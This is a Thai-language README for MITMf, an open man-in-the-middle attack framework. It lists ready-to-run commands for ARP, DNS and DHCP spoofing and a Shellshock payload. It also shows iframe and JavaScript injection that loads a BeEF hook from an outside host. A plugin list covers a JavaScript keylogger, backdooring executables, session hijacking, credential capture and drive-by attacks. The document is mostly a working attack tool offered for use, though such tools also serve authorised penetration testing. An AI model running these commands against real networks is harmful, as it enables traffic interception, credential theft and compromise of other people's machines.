กรอบการทำงานสำหรับการโจมตีแบบ Man-In-The-Middle
โครงการนี้ไม่ได้รับการอัปเดตอีกต่อไป MITMf ถูกเขียนขึ้นเพื่อตอบสนองความต้องการเครื่องมือสมัยใหม่สำหรับการโจมตีแบบ Man-In-The-Middle ในขณะนั้น ตั้งแต่นั้นเป็นต้นมา เครื่องมืออื่นๆ มากมายได้ถูกสร้างขึ้นเพื่อเติมเต็มพื้นที่นี้ คุณน่าจะใช้ Bettercap เนื่องจากมีฟีเจอร์ที่สมบูรณ์กว่าและได้รับการดูแลที่ดีกว่ามาก
บทแนะนำด่วน ตัวอย่าง และการอัปเดตสำหรับนักพัฒนาซอฟต์แวร์ที่: https://byt3bl33d3r.github.io
เครื่องมือนี้ใช้ sergio-proxy และเป็นความพยายามที่จะฟื้นฟูและอัปเดตโครงการ
ติดต่อฉันได้ที่:
ทวิตเตอร์: @byt3bl33d3r
IRC บน Freenode: #MITMf
อีเมล์: [email protected]
ก่อนที่จะส่งปัญหา โปรดอ่านส่วนที่เกี่ยวข้องในวิกิ
โปรดดูวิกิสำหรับคำแนะนำในการติดตั้ง
MITMf มีเป้าหมายที่จะให้บริการครบวงจรสำหรับการโจมตีแบบ Man-In-The-Middle และเครือข่าย ในขณะเดียวกันก็อัปเดตและปรับปรุงการโจมตีและเทคนิคที่มีอยู่
เดิมทีสร้างขึ้นเพื่อแก้ไขข้อบกพร่องที่สำคัญของเครื่องมืออื่นๆ (เช่น Ettercap, Mallory) ได้รับการเขียนใหม่เกือบทั้งหมดตั้งแต่ต้นเพื่อให้เป็นเฟรมเวิร์กแบบแยกส่วนและขยายได้ง่ายที่ใครๆ ก็สามารถใช้เพื่อดำเนินการโจมตี MITM ของตนเองได้
เฟรมเวิร์กประกอบด้วยเซิร์ฟเวอร์ SMB, HTTP และ DNS ในตัวที่สามารถควบคุมและใช้งานได้โดยปลั๊กอินต่างๆ นอกจากนี้ยังมีพร็อกซี SSLStrip เวอร์ชันแก้ไขที่อนุญาตให้มีการแก้ไข HTTP และบายพาส HSTS บางส่วน
ในเวอร์ชัน 0.9.8 MITMf รองรับการกรองและการจัดการแพ็กเก็ตที่ใช้งานอยู่ (โดยพื้นฐานแล้วสิ่งที่ etterfilters ทำได้ดีกว่าเท่านั้น) ทำให้ผู้ใช้สามารถแก้ไขการรับส่งข้อมูลหรือโปรโตคอลประเภทใดก็ได้
ไฟล์การกำหนดค่าสามารถแก้ไขได้ทันทีในขณะที่ MITMf กำลังทำงานอยู่ การเปลี่ยนแปลงจะถูกส่งผ่านเฟรมเวิร์ก: สิ่งนี้ช่วยให้คุณปรับแต่งการตั้งค่าของปลั๊กอินและเซิร์ฟเวอร์ในขณะที่ทำการโจมตี
MITMf จะบันทึก FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (สตริงชุมชน), NTLMv1/v2 (โปรโตคอลที่รองรับทั้งหมด เช่น HTTP, SMB, LDAP ฯลฯ) และข้อมูลประจำตัว Kerberos โดยใช้ Net-Creds ซึ่งทำงานบน การเริ่มต้น
การรวม Responder ช่วยให้สามารถวางพิษ LLMNR, NBT-NS และ MDNS และรองรับเซิร์ฟเวอร์ WPAD rogue
ตอนนี้คุณสามารถแก้ไขแพ็กเก็ต / โปรโตคอลใด ๆ ที่ถูกดักจับโดย MITMf โดยใช้ Scapy! (ไม่มีตัวกรองอีกต่อไป! เย้!)
ตัวอย่างเช่น นี่คือตัวกรองเล็กๆ น้อยๆ โง่ๆ ที่เพิ่งเปลี่ยนที่อยู่ IP ปลายทางของแพ็กเก็ต ICMP:
ถ้า packet.haslayer(ICMP): log.info('มีแพ็กเก็ต ICMP!') packet.dst = '192.168.1.0'
ใช้ตัวแปร packet
เพื่อเข้าถึงแพ็คเก็ตในรูปแบบที่เข้ากันได้กับ Scapy
ใช้ตัวแปร data
เพื่อเข้าถึงข้อมูลแพ็กเก็ตดิบ
ตอนนี้เพื่อใช้ตัวกรอง สิ่งที่เราต้องทำคือ: python mitmf.py -F ~/filter.py
คุณอาจต้องการรวมสิ่งนั้นเข้ากับปลั๊กอิน Spoof เพื่อดักจับแพ็กเก็ตจากบุคคลอื่น ;)
หมายเหตุ : คุณสามารถแก้ไขตัวกรองได้ทันทีโดยไม่ต้องรีสตาร์ท MITMf!
การใช้งานขั้นพื้นฐานที่สุด เริ่มต้น HTTP พร็อกซี SMB, DNS, เซิร์ฟเวอร์ HTTP และ Net-Creds บนอินเทอร์เฟซ enp3s0:
python mitmf.py -i enp3s0
ARP วางยาพิษให้กับซับเน็ตทั้งหมดด้วยเกตเวย์ที่ 192.168.1.1 โดยใช้ปลั๊กอิน Spoof :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
เช่นเดียวกับด้านบน + พร็อกซีเซิร์ฟเวอร์โกง WPAD โดยใช้ปลั๊กอิน Responder :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ARP Poison 192.168.1.16-45 และ 192.168.0.1/24 โดยมีเกตเวย์ที่ 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
เปิดใช้งานการปลอมแปลง DNS ในขณะที่การวางยา ARP (โดเมนที่จะปลอมแปลงถูกดึงออกจากไฟล์กำหนดค่า):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
เปิดใช้งานการปลอมแปลง LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
เปิดใช้งานการปลอมแปลง DHCP (พูล IP และซับเน็ตถูกดึงมาจากไฟล์กำหนดค่า):
python mitmf.py -i enp3s0 --spoof --dhcp
เช่นเดียวกับข้างต้นด้วยเพย์โหลด ShellShock ที่จะดำเนินการหากไคลเอนต์ใดมีช่องโหว่:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
ฉีด HTML IFrame โดยใช้ปลั๊กอิน Inject :
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
ฉีดสคริปต์ JS:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
เริ่มต้นพอร์ทัลแบบ Captive ที่เปลี่ยนเส้นทางทุกอย่างไปที่ http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
เริ่มแคปทีฟพอร์ทัลที่ http://your-ip/portal.html โดยใช้เพจเริ่มต้น /portal.html (ขอบคุณผู้ตอบกลับ) และ /CaptiveClient.exe (ไม่รวม) จากโฟลเดอร์ config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
เช่นเดียวกับข้างต้น แต่ใช้ชื่อโฮสต์ captive.portal แทน IP (ต้องใช้ captive.portal เพื่อแก้ไข IP ของคุณ เช่น ผ่านการปลอมแปลง DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
ให้บริการพอร์ทัลแบบ Captive ด้วยอินสแตนซ์ SimpleHTTPServer เพิ่มเติมที่ให้บริการ LOCALDIR ที่ http://IP:8080 (เปลี่ยนพอร์ตใน mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
เช่นเดียวกับข้างต้น แต่มีชื่อโฮสต์:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
และอีกมากมาย!
แน่นอนคุณสามารถผสมและจับคู่ปลั๊กอินเกือบทุกตัวเข้าด้วยกันได้ (เช่น ARP spoof + inject + Responder เป็นต้น)
หากต้องการดูรายการตัวเลือกทั้งหมดที่มี ให้เรียกใช้ python mitmf.py --help
HTA Drive-By : ส่งการแจ้งเตือนการอัปเดตปลอมและแจ้งให้ลูกค้าดาวน์โหลดแอปพลิเคชัน HTA
SMBTrap : ใช้ประโยชน์จากช่องโหว่ 'SMB Trap' บนไคลเอนต์ที่เชื่อมต่อ
ScreenShotter : ใช้ HTML5 Canvas เพื่อแสดงภาพหน้าจอที่แม่นยำของเบราว์เซอร์ไคลเอนต์
ผู้ตอบกลับ : ยาพิษ LLMNR, NBT-NS, WPAD และ MDNS
SSLstrip+ : บายพาส HSTS บางส่วน
การปลอมแปลง : เปลี่ยนเส้นทางการรับส่งข้อมูลโดยใช้ ARP, ICMP, DHCP หรือการปลอมแปลง DNS
BeEFAutorun : รันโมดูล BeEF อัตโนมัติตามระบบปฏิบัติการหรือประเภทเบราว์เซอร์ของไคลเอ็นต์
AppCachePoison : ทำการโจมตีพิษของ App-Cache HTML5
Ferret-NG : แย่งชิงเซสชันไคลเอนต์อย่างโปร่งใส
BrowserProfiler : พยายามระบุปลั๊กอินเบราว์เซอร์ทั้งหมดของไคลเอ็นต์ที่เชื่อมต่อ
FilePwn : ไฟล์ปฏิบัติการ Backdoor ที่ส่งผ่าน HTTP โดยใช้ Backdoor Factory และ BDFProxy
แทรก : แทรกเนื้อหาที่กำหนดเองลงในเนื้อหา HTML
BrowserSniper : ทำการโจมตีแบบไดรฟ์ต่อไคลเอนต์ด้วยปลั๊กอินเบราว์เซอร์ที่ล้าสมัย
JSkeylogger : แทรกคีย์ล็อกเกอร์ Javascript ลงในหน้าเว็บของลูกค้า
แทนที่ : แทนที่เนื้อหาที่กำหนดเองในเนื้อหา HTML
SMBAuth : กระตุ้นให้เกิดความพยายามในการตรวจสอบสิทธิ์แบบตอบสนองต่อความท้าทายของ SMB
Upsidedownternet : พลิกภาพ 180 องศา
Captive : สร้างพอร์ทัลแบบ Captive โดยเปลี่ยนเส้นทางคำขอ HTTP โดยใช้ 302
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ผลประโยชน์ทับซ้อน: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr